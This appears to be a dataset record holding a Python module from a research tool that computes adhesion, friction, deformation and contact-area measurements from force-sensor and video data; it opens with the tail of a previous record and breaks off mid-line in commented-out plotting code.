torch.zeros(s.shape[0]).to(DEVICE), torch.zeros(s.shape[0]).to(DEVICE)\r\n","repo_name":"ShuoZhangXJTU/PEDP","sub_path":"models/DiaMultiClass.py","file_name":"DiaMultiClass.py","file_ext":"py","file_size_in_byte":3646,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"21837075177","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 21 19:42:45 2019\r\n\r\n@author: adwait\r\n\"\"\"\r\n# import matplotlib.pyplot as plt\r\nimport numpy as np\r\n# import glob\r\nimport os.path\r\nfrom tkinter import filedialog\r\nimport tkinter as tk\r\nfrom statistics import mean, stdev\r\nfrom scipy.signal import savgol_filter, medfilt\r\nfrom tkinter import messagebox\r\n# import ast\r\nfrom scipy import integrate\r\n\r\nfrom source.analysis.plotting import Plotting\r\n\r\nclass ForceAnal(Plotting):\r\n\r\n def __init__(self, fitWindow = None, configPlotWindow = None,\r\n analyzeDataWindow = None):\r\n super().__init__(fitWindow, configPlotWindow)\r\n \r\n self.analyzeDataWindow = analyzeDataWindow\r\n # if self.analyzeDataWindow != None: \r\n # self.analyzeDataWindow.zeroBtn.clicked.connect(lambda: \r\n # self.setCursorPosition(\r\n # self.analyzeDataWindow.zeroLabel))\r\n # self.analyzeDataWindow.forceBtn.clicked.connect(lambda: \r\n # self.setCursorPosition(\r\n # self.analyzeDataWindow.forceLabel))\r\n # self.analyzeDataWindow.preloadBtn.clicked.connect(lambda: \r\n # self.setCursorPosition(\r\n # self.analyzeDataWindow.preloadLabel))\r\n # self.analyzeDataWindow.deformBtn.clicked.connect(lambda: \r\n # self.setCursorPosition(\r\n # self.analyzeDataWindow.deformLabel))\r\n self.force_filepath = \"\"\r\n self.force_vert1 = [0,0,0]\r\n self.time1 = [0,0,0]\r\n self.speed_um = \"\"\r\n self.ptsnumber = 0\r\n # self.fig1_close = True\r\n \r\n # self.flag_ca = True\r\n # self.flag_ra = False\r\n # self.flag_cl = False\r\n # self.flag_rl = False\r\n # self.flag_cn = False\r\n # self.flag_ecc = False\r\n # self.flag_lf = False \r\n # self.flag_zp = False\r\n # self.flag_xp = False\r\n # self.flag_ap = False\r\n # self.flag_fp = False\r\n # self.flag_st = False\r\n # self.flag_zd = False\r\n # self.x_var = 'Time' #x axis default parameter\r\n self.flag_zshift = False #zero shift\r\n self.flag_lf_filter = False\r\n self.window_length = 101\r\n self.polyorder = 2\r\n self.calib_lat1 = \"29181.73*x\"\r\n # self.invert_latf = False\r\n self.flag_ct = True\r\n self.ctv_slope = 0 #vertical cross talk slope\r\n self.ctl_slope = 0 #lateral cross talk slope\r\n # self.startFull = 0 #plot range\r\n # self.endFull = 100\r\n self.noiseSteps = \"\"\r\n # self.legendPos = \"upper right\"\r\n # #fitting\r\n # self.flag_fit = False\r\n # self.fit_x = 'Vertical Position (μm)'\r\n # self.fit_y = 'Vertical Force'\r\n # self.startFit = 0\r\n # self.endFit = 100\r\n # self.fit_pos = '0.5,0.5'\r\n # self.fit_show = False\r\n # self.slope = ''\r\n # self.slope_unit = ''\r\n self.k_beam = '30,1' # Beam spring constant (μN/μm)\r\n self.deform_tol = 100 #deformation contact start auto detect tolerance\r\n \r\n## self.friction_start = 1\r\n## self.friction_stop = 100\r\n## self.zero_start = 1 #percent of total number of points\r\n## self.zero_stop = 10 #percent of total number of points\r\n## self.adh_start = 1\r\n## self.adh_stop = 100\r\n## self.prl_start = 1\r\n## self.prl_stop = 100\r\n## self.force_friction = 0 #initialize\r\n\r\n #area data dictionary\r\n self.areaDict = {\"area2_init\":[], \"area2_max\":[], \"area3_init\":[],\r\n \"area2_pulloff\":[], \"area2_residue\":[],\r\n \"area3_pulloff\":[], \"area3_max\":[],\r\n \"area_friction\":[]}\r\n #length data dictionary\r\n self.lengthDict = {\"contLength_init\":[], \"contLength_max\":[],\r\n \"roilen_init\":[], \"roilen_max\":[],\r\n \"contLength_pulloff\":[], \"roilen_pulloff\":[],\r\n \"ecc_pulloff\":[], \"contnum_pulloff\": []} \r\n #bounding ellipse data dictionary\r\n self.ellipDict = {\"ellipAr_max\":[], \"ellipPer_max\":[],\r\n \"ellipMajr_max\":[], \"ellipMinr_max\":[]}\r\n #force data dictionaryrangeDict\r\n self.forceDict = {\"force_adhesion1\":[], \"force_preload1\":[],\r\n \"force_friction\":[], \"force_preload2\":[],\r\n \"force_min1\":[], \"force_max1\":[], \"zero1\":[], \"zero2\":[],\r\n \"zero1_stdv\":[], \"zero2_stdv\":[], \"force_lat_min\":[],\r\n \"force_lat_max\":[], \"force_max2\":[]}\r\n #index/time data dictionary for calculation\r\n self.indDict = {\"force_lat_max_index\":[], \"force_lat_min_index\":[],\r\n \"time1_max\":[0], \"time1_lat_avg\":[]}\r\n #range dictionary (zero, adhesion, adh preload, friction, fr preload, fr zero)\r\n self.rangeDict = {\"Default\" : [[0,1],[0,100],[0,100],[0,100],[0,100], [0,1]]} \r\n \r\n\r\n def importData(self, msrListMode):\r\n if msrListMode == False:\r\n root = tk.Tk()\r\n root.withdraw()\r\n self.force_filepath = filedialog.askopenfilename(title =\r\n \"Select force data file\")\r\n root.destroy()\r\n if self.force_filepath != \"\":\r\n with open(self.force_filepath, 'r') as f: #open force data file\r\n x1 = f.read().splitlines()\r\n\r\n self.waveform = x1[5].split('\\t')[1]\r\n print(self.waveform)\r\n\r\n if self.waveform == 'custom': #index adjust for force data\r\n ir = 1\r\n ic = 1\r\n else:\r\n ir = 0\r\n ic = 0\r\n \r\n #collect force data \r\n self.dist_vert1 = [(float(y.split('\\t')[0]))/1000 for y in x1[23+ir:]] #nm to μm units\r\n self.ptsnumber = int(float((x1[11+ir].split('\\t')[1])))\r\n if ic == 1:\r\n self.dist_lat1 = [(float(y.split('\\t')[ic])/1000) for y in x1[23+ir:]] #nm to μm units\r\n speed1 = [int(float(y)) for y in x1[8].split('\\t')[1:]]\r\n self.steps = [y for y in x1[7].split('\\t')[1:]]\r\n print(self.steps)\r\n self.step_num = len(x1[7].split('\\t')[1:])\r\n self.pause = [int(float(y)) for y in x1[9].split('\\t')[1:]]\r\n else:\r\n self.dist_lat1 = [0] * self.ptsnumber\r\n speed1 = [int(float(x1[6].split('\\t')[1]))]\r\n self.steps = [\"Up/Down\"] #Check\r\n self.step_num = 1\r\n self.pause = [0]\r\n self.fps = float((x1[20+ir].split('\\t')[1]))\r\n self.frame_num = [int(float(y)) for y in (x1[21+ir].split('\\t')[1:])]\r\n self.time1 = [float(y.split('\\t')[1+ic]) for y in x1[23+ir:]]\r\n self.defl_vert = [float(y.split('\\t')[2+ic]) for y in x1[23+ir:]]\r\n self.defl_lat = [float(y.split('\\t')[3+ic]) for y in x1[23+ir:]]\r\n self.calib_vert1 = x1[19+ir].split('\\t')[1].replace(\"^\", \"**\")\r\n #make 'Back' speeds negative\r\n # self.speed = [-speed1[self.steps.index(a)] if a == 'Back' \\\r\n # else speed1[self.steps.index(a)] for a in self.steps]\r\n self.speed = [-speed1[i] if self.steps[i] == 'Back' \\\r\n else speed1[i] for i in range(len(self.steps))]\r\n print(self.ptsnumber)\r\n\r\n self.dataClean()\r\n\r\n self.calcData()\r\n\r\n def dataClean(self): #clean force data\r\n #correct offshoot\r\n self.defl_vert1 = self.offShootCorrect(self.defl_vert)\r\n self.defl_lat1 = self.offShootCorrect(self.defl_lat) \r\n\r\n def crosstalkCorrect(self, f_in, f_dep, slope, f_type):\r\n if f_type == 'Vertical':\r\n f_err = [slope*(x - f_dep[1]) for x in f_dep]\r\n elif f_type == 'Lateral':\r\n f_err = [slope*(x - f_dep[1]) for x in f_dep]\r\n f_out = [f_in[i]-f_err[i] for i in range(0,len(f_in))]\r\n return f_out\r\n\r\n def offShootCorrect(self, data): #remove first point of each step\r\n steps_bad = self.noiseSteps.split(\",\")\r\n data_new = data.copy()\r\n if steps_bad[0] == '':\r\n print(\"no steps\")\r\n return data\r\n for i in steps_bad:\r\n print(\"step\", i)\r\n if i == '':\r\n continue\r\n ind = int((int(i)-1) * self.ptsnumber/self.step_num)\r\n data_new[ind] = data_new[ind + 1] #replace to next value\r\n return data_new\r\n\r\n def zeroShift(self, data, zero): #shift force to zero\r\n data_shifted = [x-zero for x in data]\r\n return data_shifted\r\n\r\n def interpolData(self, t, data): #interpolate data at force time resolution\r\n t_near = sorted([[abs(a - t), a] for a in self.time2],\r\n key=lambda l:l[0])[:2]\r\n wt_sum = t_near[0][0] + t_near[1][0] #take weighted avg\r\n wt = [t_near[1][0]/wt_sum, t_near[0][0]/wt_sum]\r\n data_t = np.average([data[self.time2.index(t_near[0][1])],\r\n data[self.time2.index(t_near[1][1])]],\r\n weights = wt)\r\n return data_t\r\n \r\n def calcData(self):\r\n## self.calib_lat1 = \"-10.249*1000*x\"\r\n print(\"calc\")\r\n # self.plot_slice = slice(int(self.startFull * self.ptsnumber/100),\r\n # int(self.endFull * self.ptsnumber/100))\r\n \r\n## #correct offshoot\r\n## self.defl_vert1 = self.offShootCorrect(self.defl_vert)\r\n## self.defl_lat1 = self.offShootCorrect(self.defl_lat)\r\n \r\n force_vert = [-eval(self.calib_vert1) for x in self.defl_vert1]\r\n force_lat = [-eval(self.calib_lat1) for x in self.defl_lat1]\r\n\r\n if self.flag_ct == True: #cross talk correction\r\n self.force_vert1 = self.crosstalkCorrect(force_vert, force_lat,\r\n self.ctv_slope, 'Vertical')\r\n self.force_lat1 = self.crosstalkCorrect(force_lat, force_vert,\r\n self.ctl_slope, 'Lateral')\r\n else:\r\n self.force_vert1 = force_vert\r\n self.force_lat1 = force_lat\r\n \r\n self.speed_um = [x/1000 for x in self.speed] #speed in μm/s\r\n\r\n #recalculate time array of video (considering measurement delay)\r\n tstart = 0\r\n self.time_video = np.empty((0, 100), dtype = np.float64)\r\n for y in range(self.step_num):\r\n time_video_temp = np.linspace(tstart, tstart + (self.frame_num[y]/self.fps),\r\n int(self.frame_num[y]), dtype = np.float64)\r\n self.time_video = np.append(self.time_video, time_video_temp)\r\n if y < self.step_num-1: \r\n tstart = self.time1[int((y+1)*self.ptsnumber/self.step_num)] #CHANGE TO DIRECT DATA\r\n\r\n #noise filter lateral force\r\n if self.flag_lf_filter == True:\r\n self.force_lat1_filtered = savgol_filter(self.force_lat1, self.window_length,\r\n self.polyorder).tolist()\r\n else:\r\n self.force_lat1_filtered = []\r\n\r\n self.forceDict[\"force_adhesion1\"] = []\r\n self.forceDict[\"force_preload1\"] = []\r\n self.forceDict[\"force_friction\"] = []\r\n self.forceDict[\"force_preload2\"] = []\r\n self.forceDict[\"force_max1\"] = []\r\n self.forceDict[\"force_max2\"] = []\r\n self.forceDict[\"force_min1\"] = []\r\n self.forceDict[\"zero1\"] = []\r\n self.forceDict[\"force_lat_min\"] = []\r\n self.forceDict[\"force_lat_max\"] = []\r\n self.indDict[\"force_lat_max_index\"] = []\r\n self.indDict[\"force_lat_min_index\"] = []\r\n## self.indDict[\"contact_time1\"] = []\r\n self.indDict[\"time1_max\"] = []\r\n\r\n for k in self.rangeDict.keys():\r\n print(self.rangeDict.keys())\r\n if len(self.rangeDict.keys()) > 1 and k == \"Default\":\r\n continue\r\n #calculate friction force\r\n## if self.flag_lf == True or self.flag_lf_filter == True:\r\n friction_slice = slice(int(self.rangeDict[k][3][0] * self.ptsnumber/100),\r\n int(self.rangeDict[k][3][1] * self.ptsnumber/100))\r\n force_lat_max = max(self.force_lat1[friction_slice])\r\n force_lat_max_index = friction_slice.start + \\\r\n self.force_lat1[friction_slice]. \\\r\n index(force_lat_max)\r\n force_lat_min = min(self.force_lat1[friction_slice])\r\n force_lat_min_index = friction_slice.start + \\\r\n self.force_lat1[friction_slice]. \\\r\n index(force_lat_min)\r\n force_friction = abs(force_lat_max - force_lat_min)\r\n print(friction_slice, force_lat_max_index, force_lat_min_index)\r\n## else:\r\n## force_friction = 0\r\n## force_lat_min = 0\r\n## force_lat_max = 0\r\n## force_lat_max_index = 0\r\n## force_lat_min_index = 0\r\n \r\n \r\n #contact time calculate\r\n## contact_time1 = sum(self.pause)\r\n #Note: Contact time is the time for which the pad is kept stationary\r\n #in contact witht the surface\r\n## dist_vert1_maxcount = self.dist_vert1.count(min(self.dist_vert1))\r\n## dist_vert1_max_index = self.dist_vert1.index(min(self.dist_vert1))\r\n## if dist_vert1_maxcount == 1:\r\n## contact_time1 = 0\r\n## else:\r\n## contact_time1 = (dist_vert1_maxcount - 1) * (self.time1[dist_vert1_max_index+1] -\r\n## self.time1[dist_vert1_max_index]) \r\n\r\n #ignore first point of force data due to overshoot\r\n adh_slice = slice(int(self.rangeDict[k][1][0] * self.ptsnumber/100),\r\n int(self.rangeDict[k][1][1] * self.ptsnumber/100))\r\n force_min1 = min(self.force_vert1[adh_slice])\r\n self.force_min_index = adh_slice.start + \\\r\n self.force_vert1[adh_slice].index(force_min1)\r\n\r\n prl1_slice = slice(int(self.rangeDict[k][2][0] * self.ptsnumber/100),\r\n int(self.rangeDict[k][2][1] * self.ptsnumber/100))\r\n force_max1 = max(self.force_vert1[prl1_slice])\r\n\r\n prl2_slice = slice(int(self.rangeDict[k][4][0] * self.ptsnumber/100),\r\n int(self.rangeDict[k][4][1] * self.ptsnumber/100))\r\n force_max2 = max(self.force_vert1[prl2_slice])\r\n \r\n zero_slice = slice(int(self.rangeDict[k][0][0] * self.ptsnumber/100),\r\n int(self.rangeDict[k][0][1] * self.ptsnumber/100))\r\n zero1 = mean(self.force_vert1[zero_slice]) #average n points as vert zero\r\n zero1_stdv = stdev(self.force_vert1[zero_slice]) #vertical force error\r\n zero2_slice = slice(int(self.rangeDict[k][5][0] * self.ptsnumber/100),\r\n int(self.rangeDict[k][5][1] * self.ptsnumber/100))\r\n zero2 = mean(self.force_lat1[zero2_slice]) #average n points as lat zero\r\n zero2_stdv = stdev(self.force_lat1[zero2_slice]) #lateral force error\r\n time1_max = self.time1[self.force_min_index]\r\n\r\n zero2_filter = mean(self.force_lat1[zero2_slice]) #average n points as lat zero\r\n\r\n force_preload1 = abs(force_max1 - zero1) #adhesion preload\r\n # if self.flag_lf == True or self.flag_lf_filter == True:\r\n force_preload2 = abs(force_max2 - zero1) #friction preload\r\n # else:\r\n # force_preload2 = 0\r\n force_adhesion1 = abs(force_min1 - zero1)\r\n print(force_preload1, force_adhesion1, self.speed_um)\r\n\r\n self.forceDict[\"force_adhesion1\"].append(force_adhesion1)\r\n self.forceDict[\"force_preload1\"].append(force_preload1)\r\n self.forceDict[\"force_friction\"].append(force_friction)\r\n self.forceDict[\"force_preload2\"].append(force_preload2)\r\n self.forceDict[\"force_max2\"].append(force_max2)\r\n self.forceDict[\"force_max1\"].append(force_max1)\r\n self.forceDict[\"force_min1\"].append(force_min1)\r\n self.forceDict[\"zero1\"].append(zero1)\r\n self.forceDict[\"zero1_stdv\"] = zero1_stdv\r\n self.forceDict[\"zero2\"] = zero2\r\n self.forceDict[\"zero2_stdv\"] = zero2_stdv\r\n self.forceDict[\"force_lat_min\"].append(force_lat_min)\r\n self.forceDict[\"force_lat_max\"].append(force_lat_max)\r\n self.indDict[\"force_lat_max_index\"].append(force_lat_max_index)\r\n self.indDict[\"force_lat_min_index\"].append(force_lat_min_index)\r\n## self.indDict[\"contact_time1\"].append(contact_time1)\r\n self.indDict[\"time1_max\"].append(time1_max)\r\n print(\"end\")\r\n\r\n #IMP: CHECK zero1 VARIABLE BELOW. DIFFERENT ZEROS NOT CONSIDERED BELOW!\r\n #shift force data for plotting\r\n if self.flag_zshift == True:\r\n self.force_vert1_shifted = [x-zero1 for x in self.force_vert1]\r\n self.force_lat1_shifted = [x-zero2 for x in self.force_lat1]\r\n self.force_lat1_filtered_shifted = [x-zero2_filter for x in self.force_lat1_filtered]\r\n else:\r\n self.force_vert1_shifted = self.force_vert1\r\n self.force_lat1_shifted = self.force_lat1\r\n self.force_lat1_filtered_shifted = self.force_lat1_filtered \r\n\r\n self.speedDict = {} #step number corresponding to sliding/attachment detachment\r\n self.ptsperstep = int(self.ptsnumber/self.step_num) #number of points per step\r\n force_lat_index = int(mean([force_lat_min_index, force_lat_max_index]))\r\n print(force_lat_index, self.ptsperstep, self.ptsnumber)\r\n if self.steps[0] == \"Up/Down\":\r\n self.speedDict[\"Sliding Speed\"] = 0\r\n self.speedDict[\"Detachment Speed\"] = self.speed[0]\r\n self.speedDict[\"Attachment Speed\"] = self.speed[0] #CHECK!\r\n self.slideStep = \"None\"\r\n else:\r\n self.speedDict[\"Sliding Speed\"] = self.speed_um[int(force_lat_index/self.ptsperstep)]\r\n ind_detach = int(self.force_min_index/self.ptsperstep)\r\n self.speedDict[\"Detachment Speed\"] = self.speed_um[ind_detach]\r\n #last down step bfore detachment\r\n self.speedDict[\"Attachment Speed\"] = self.speed_um[ind_detach - \\\r\n self.steps[ind_detach::-1].index('Down')]\r\n #lateral sliding step\r\n self.slideStep = self.steps[int(force_lat_index/self.ptsperstep)]\r\n print(\"slide step \", force_lat_index, self.ptsperstep)\r\n print(\"Speed dict\", self.speedDict)\r\n self.contact_time1 = sum(self.pause) #contact time\r\n \r\n #calculate actual vertical deformation\r\n # for a in self.force_vert1: \r\n # if abs(a-zero1) > self.deform_tol*zero1_stdv: #point of contact for given tolerence\r\n # deform_index1 = self.force_vert1.index(a)\r\n # break\r\n # else:\r\n # deform_index1 = 0\r\n deform_index1 = self.deform_tol #index of point of contact\r\n deform_index2 = max([self.force_vert1.index(a) for a in self.forceDict[\"force_min1\"]]) #point of contact loss\r\n print(\"deform index\", deform_index1, deform_index2)\r\n self.deform_init = self.dist_vert1[deform_index1]#piezo value at contact loss\r\n self.deform_vert = [self.dist_vert1[i] - self.deform_init - \\\r\n ((self.force_vert1[i] - zero1)/float(self.k_beam.split(',')[0])) \\\r\n if i >= deform_index1 and i <= deform_index2 else 0 \\\r\n for i in range(len(self.dist_vert1))]\r\n self.deform_pulloff = self.deform_vert[deform_index2] #deformation at contact loss\r\n \r\n #calculate adhesion energy (area under curve)\r\n pulloff_index = int(self.ptsperstep * int(self.force_min_index/self.ptsperstep))\r\n force_shifted = [x-zero1 for x in self.force_vert1]\r\n zero_index = (force_shifted[pulloff_index:deform_index2+1].index\\\r\n (sorted([[abs(a - 0), a] for a in force_shifted[pulloff_index:deform_index2+1]], \r\n key=lambda l:l[0])[0][1])) + pulloff_index #point where force reaches zero\r\n self.energy_slice = slice(zero_index, deform_index2 + 1)\r\n self.energy_adhesion = integrate.simps(force_shifted[self.energy_slice],\r\n self.deform_vert[self.energy_slice])\r\n print(\"energy\", self.energy_adhesion, pulloff_index, zero_index)\r\n self.zero_array =zero1*np.ones(len(self.force_vert1))\r\n \r\n\r\n def getArea(self, time, dataDict): #get contact area/lenghths at pulloff etc\r\n #area data (2)\r\n print(\"Get area begin\")\r\n self.dataDict = dataDict #data dictionary from videos\r\n\r\n self.areaDict[\"area2_init\"] = []\r\n self.areaDict[\"area2_max\"] = []\r\n self.areaDict[\"area3_init\"] = []\r\n self.areaDict[\"area3_max\"] = []\r\n self.areaDict[\"area2_pulloff\"] = []\r\n self.areaDict[\"area2_residue\"] = []\r\n self.areaDict[\"area3_pulloff\"] = []\r\n self.areaDict[\"area_friction\"] = []\r\n\r\n self.lengthDict[\"contLength_init\"] = []\r\n self.lengthDict[\"contLength_max\"] = []\r\n self.lengthDict[\"roilen_init\"] = []\r\n self.lengthDict[\"roilen_max\"] = []\r\n self.lengthDict[\"contLength_pulloff\"] = []\r\n self.lengthDict[\"roilen_pulloff\"] = []\r\n self.lengthDict[\"ecc_pulloff\"] = []\r\n self.lengthDict[\"contnum_pulloff\"] = []\r\n\r\n self.ellipDict[\"ellipAr_max\"] = []\r\n self.ellipDict[\"ellipPer_max\"] = []\r\n self.ellipDict[\"ellipMajr_max\"] = []\r\n self.ellipDict[\"ellipMinr_max\"] = []\r\n \r\n self.indDict[\"time1_lat_avg\"] = []\r\n\r\n self.time2 = time.tolist()\r\n area2_full = [0] * len(time) #initialize\r\n\r\n #area/length whole plot slice\r\n time2_start = sorted([[abs(a - self.time1[self.plot_slice.start]), a] \\\r\n for a in self.time2], key=lambda l:l[0])[0][1]\r\n time2_end = sorted([[abs(a - self.time1[self.plot_slice.stop-1]), a] \\\r\n for a in self.time2], key=lambda l:l[0])[0][1] \r\n self.plot_slice2 = slice(self.time2.index(time2_start),\r\n self.time2.index(time2_end) + 1) \r\n i = 0\r\n print(self.rangeDict.keys(), dataDict.keys())\r\n \r\n for k in self.rangeDict.keys():\r\n if len(self.rangeDict.keys()) > 1 and k == \"Default\":\r\n continue\r\n print(k)\r\n area2 = dataDict[k][\"Contact area\"].tolist() #contact area\r\n contLength = dataDict[k][\"Contact length\"].tolist() #contact length\r\n contnum = dataDict[k][\"Contact number\"].tolist() #contact number\r\n area3 = dataDict[k][\"ROI area\"].tolist() #roi area\r\n roilen = dataDict[k][\"ROI length\"].tolist() #roi length\r\n ecc = dataDict[k][\"Eccentricity\"].tolist() #median eccentricity\r\n # print(\"ellip\", dataDict[k][6][0])\r\n ellipMajr = [x[3]*max(x[1][0],x[1][1]) for x in dataDict[k][\"Ellipse fit\"]] #ellipse major axis length\r\n ellipMinr = [x[3]*min(x[1][0],x[1][1]) for x in dataDict[k][\"Ellipse fit\"]] #ellipse minor axis length\r\n ellipAr = [np.pi*(x[1][0]/2)*(x[1][1]/2)*(x[3]**2) for x in dataDict[k][\"Ellipse fit\"]] #bounding ellipse area\r\n ellipPer = [x[3]*np.pi*((3*((x[1][0]/2)+(x[1][1]/2)))-\\\r\n (((3*x[1][0]/2)+(x[1][1]/2))*\\\r\n ((x[1][0]/2)+(3*x[1][1]/2)))**0.5)\\\r\n for x in dataDict[k][\"Ellipse fit\"]] #bounding ellipse perimeter (Ramanujan first approximation)\r\n \r\n \r\n area2_init = area2[0] #initial areas/lengths\r\n area3_init = area3[0]\r\n contLength_init = contLength[0] #initial lengths\r\n roilen_init = roilen[0]\r\n## print(self.indDict[\"time1_max\"])\r\n\r\n area2_max = max(area2) #max area/lengths\r\n area3_max = max(area3)\r\n contLength_max = max(contLength)\r\n roilen_max = max(roilen)\r\n time2_max = sorted([[abs(a - self.indDict[\"time1_max\"][i]), a] \\\r\n for a in self.time2], key=lambda l:l[0])[:2]\r\n print(time2_max)\r\n\r\n wt_sum = time2_max[0][0] + time2_max[1][0] #take weighted avg\r\n wt = [time2_max[1][0]/wt_sum, time2_max[0][0]/wt_sum]\r\n try:\r\n area2_pulloff = np.average([area2[self.time2.index(\r\n time2_max[0][1])],area2[self.time2.index(time2_max[1][1])]],\r\n weights = wt)\r\n area3_pulloff = np.average([area3[self.time2.index(\r\n time2_max[0][1])],area3[self.time2.index(time2_max[1][1])]],\r\n weights = wt)\r\n contLength_pulloff = np.average([contLength[self.time2.index(\r\n time2_max[0][1])],contLength[self.time2.index(time2_max[1][1])]],\r\n weights = wt)\r\n roilen_pulloff = np.average([roilen[self.time2.index(\r\n time2_max[0][1])],roilen[self.time2.index(time2_max[1][1])]],\r\n weights = wt)\r\n ecc_pulloff = np.average([ecc[self.time2.index(\r\n time2_max[0][1])],ecc[self.time2.index(time2_max[1][1])]],\r\n weights = wt)\r\n contnum_pulloff = int(np.average([contnum[self.time2.index(\r\n time2_max[0][1])],contnum[self.time2.index(time2_max[1][1])]],\r\n weights = wt))\r\n #last area point of detachment step\r\n area2_residue = area2[sum(self.frame_num[:int(self.force_min_index/\r\n self.ptsperstep)+1])-1]\r\n except Exception as e:\r\n print(e)\r\n root = tk.Tk()\r\n root.withdraw()\r\n messagebox.showinfo(\"Analysis Error!\", \"Check force file/video file\\n\" +\r\n \"Exception: \" + str(e))\r\n root.destroy()\r\n area2_pulloff = 0\r\n return\r\n \r\n print(\"adhesion calc\", area2_max,\r\n self.indDict[\"time1_max\"][i], time2_max, area2_pulloff)\r\n\r\n## if self.flag_lf == True or self.flag_lf_filter == True:\r\n force_lat_avg_index = int(mean([self.indDict[\"force_lat_max_index\"][i],\r\n self.indDict[\"force_lat_min_index\"][i]]))\r\n time1_lat_avg = self.time1[force_lat_avg_index]\r\n time2_lat_avg = sorted([[abs(a - time1_lat_avg), a] \\\r\n for a in self.time2], key=lambda l:l[0])[:2]\r\n wt_sum2 = time2_lat_avg[0][0] + time2_lat_avg[1][0] #take weighted avg\r\n wt2 = [time2_lat_avg[1][0]/wt_sum2, time2_lat_avg[0][0]/wt_sum2]\r\n try:\r\n area_friction = np.average([area2[self.time2.index(\r\n time2_lat_avg[0][1])],area2[self.time2.index(time2_lat_avg[1][1])]],\r\n weights = wt2)\r\n except Exception as e:\r\n print(e)\r\n root = tk.Tk()\r\n root.withdraw()\r\n messagebox.showinfo(\"Analysis Error!\", \"Check force file/video file\\n\" +\r\n \"Exception: \" + str(e))\r\n root.destroy()\r\n area_friction = 0\r\n return\r\n print(\"friction calc\", area_friction, time1_lat_avg)\r\n## else:\r\n## area_friction = area2_init #zero\r\n## time1_lat_avg = 0\r\n\r\n #get bounding ellipse properties at maximum contact\r\n ind_max = area2.index(area2_max) #index of maximum contact\r\n self.ellipDict[\"ellipAr_max\"].append(ellipAr[ind_max])\r\n self.ellipDict[\"ellipPer_max\"].append(ellipPer[ind_max])\r\n self.ellipDict[\"ellipMajr_max\"].append(ellipMajr[ind_max])\r\n self.ellipDict[\"ellipMinr_max\"].append(ellipMinr[ind_max])\r\n\r\n #save contour properties to dictionary\r\n self.areaDict[\"area2_init\"].append(area2_init)\r\n self.areaDict[\"area2_max\"].append(area2_max)\r\n self.areaDict[\"area3_init\"].append(area3_init)\r\n self.areaDict[\"area3_max\"].append(area3_max)\r\n self.areaDict[\"area2_pulloff\"].append(area2_pulloff)\r\n self.areaDict[\"area3_pulloff\"].append(area3_pulloff)\r\n self.areaDict[\"area_friction\"].append(area_friction)\r\n self.areaDict[\"area2_residue\"].append(area2_residue)\r\n\r\n self.lengthDict[\"contLength_init\"].append(contLength_init)\r\n self.lengthDict[\"contLength_max\"].append(contLength_max)\r\n self.lengthDict[\"roilen_init\"].append(roilen_init)\r\n self.lengthDict[\"roilen_max\"].append(roilen_max)\r\n self.lengthDict[\"contLength_pulloff\"].append(contLength_pulloff)\r\n self.lengthDict[\"roilen_pulloff\"].append(roilen_pulloff)\r\n self.lengthDict[\"ecc_pulloff\"].append(ecc_pulloff)\r\n self.lengthDict[\"contnum_pulloff\"].append(contnum_pulloff)\r\n \r\n self.indDict[\"time1_lat_avg\"].append(time1_lat_avg)\r\n\r\n #calculate full area\r\n area2_full = [area2_full[i] + area2[i] for i in range(len(area2))]\r\n i += 1\r\n \r\n #interpolate area data\r\n # area_interpol = [self.interpolData(self.time1[i], area2_full) \\\r\n # for i in range(len(self.time1))]\r\n \r\n # if self.flag_st == True or self.flag_lf_filter == True: #stress \r\n if self.configPlotWindow.plotDict['extras']['Stress'].isChecked() == True: #stress \r\n #local stress dF/dA #CHECK\r\n ## stress_local = np.diff(np.array(self.force_vert1))/np.diff(np.array(area_interpol))\r\n ## self.stress = np.append(stress_local, stress_local[-1]) #make array size same as time1\r\n \r\n \r\n #stress F/A\r\n self.stress = [(self.force_vert1[i]-self.forceDict[\"zero1\"][0])/\r\n (self.interpolData(self.time1[i], area2_full)-\r\n self.interpolData(self.time1[0], area2_full)) for i \\\r\n in range(len(self.time1))]\r\n #noise filter stress\r\n k_size = self.window_length+1 if self.window_length % 2 == 0 else self.window_length\r\n self.stress_filtered = medfilt(self.stress, kernel_size=k_size).tolist()\r\n \r\n print(\"get area finished\")\r\n\r\n\r\n# def polyfitData(self, xdata, ydata, ax, x_plot, unit,\r\n# eq_pos = [1,0.2], fit_order = 1, fit_show = False): #fit data and plot\r\n# data = zip(xdata, ydata, x_plot)\r\n# data = np.array(sorted(data, key = lambda x: x[0]))\r\n# coeff = np.polyfit(data[:,0],data[:,1], fit_order) #fitting coeffients\r\n# slope = coeff[0]\r\n# p_fit = np.poly1d(coeff)\r\n# y_fit = p_fit(data[:,0])\r\n# y_avg = np.sum(data[:,1])/len(data[:,1])\r\n# r2 = (np.sum((y_fit-y_avg)**2))/(np.sum((data[:,1] - y_avg)**2))\r\n# sign = '' if coeff[1] < 0 else '+'\r\n# eq_id = 'Slope'\r\n# eq_coff = [\"$%.1e\"%(coeff[i]) + \"x^\" + str(len(coeff) - i - 1) + \"$\"\\\r\n# if i < len(coeff) - 2 else \"%.4fx\"%(coeff[i]) for i in range(len(coeff)-1)]\r\n# eq = \"y=\" + '+'.join(eq_coff) + \"+%.4f\"%(coeff[len(coeff)-1]) + \"; $R^2$=\" + \"%.4f\"%(r2) \r\n# eq_clean = eq.replace('+-', '-')\r\n# ## x_fit = np.linspace(min(data[:,0]), max(data[:,0]), 100)\r\n# ax.plot(data[:,2], y_fit, color = 'black',\r\n# linewidth=2, linestyle='dashed')\r\n# ## print(eq_pos)\r\n# if fit_show == True:\r\n# ax.text(float(eq_pos[0]), float(eq_pos[1]), eq_id + \": \" + \"%.4f\"%(slope) + ' (' + unit + ')',\r\n# ha = 'right', transform=ax.transAxes, color = 'black',\r\n# bbox=dict(facecolor='white', edgecolor = 'black', alpha=0.5))\r\n# print('data fitted', eq_clean)\r\n# return slope\r\n\r\n# def plotData(self, unit): #prepare plot\r\n\r\n# xDict = {'Vertical Position (μm)':self.dist_vert1,\r\n# 'Lateral Position (μm)':self.dist_lat1,\r\n# 'Deformation (μm)':self.deform_vert,\r\n# 'Time (s)':self.time1}\r\n# xAxisData = xDict.get(self.x_var)\r\n \r\n# markerlist = [\"o\", \"v\", \"^\", \"s\", \"P\", \"*\", \"D\", \"<\", \"X\", \">\"]\r\n# linelist = [\":\", \"-.\", \"--\", \"-\", \":\", \"-.\", \"--\", \"-\", \":\", \"-.\"]\r\n \r\n# self.fig1 = 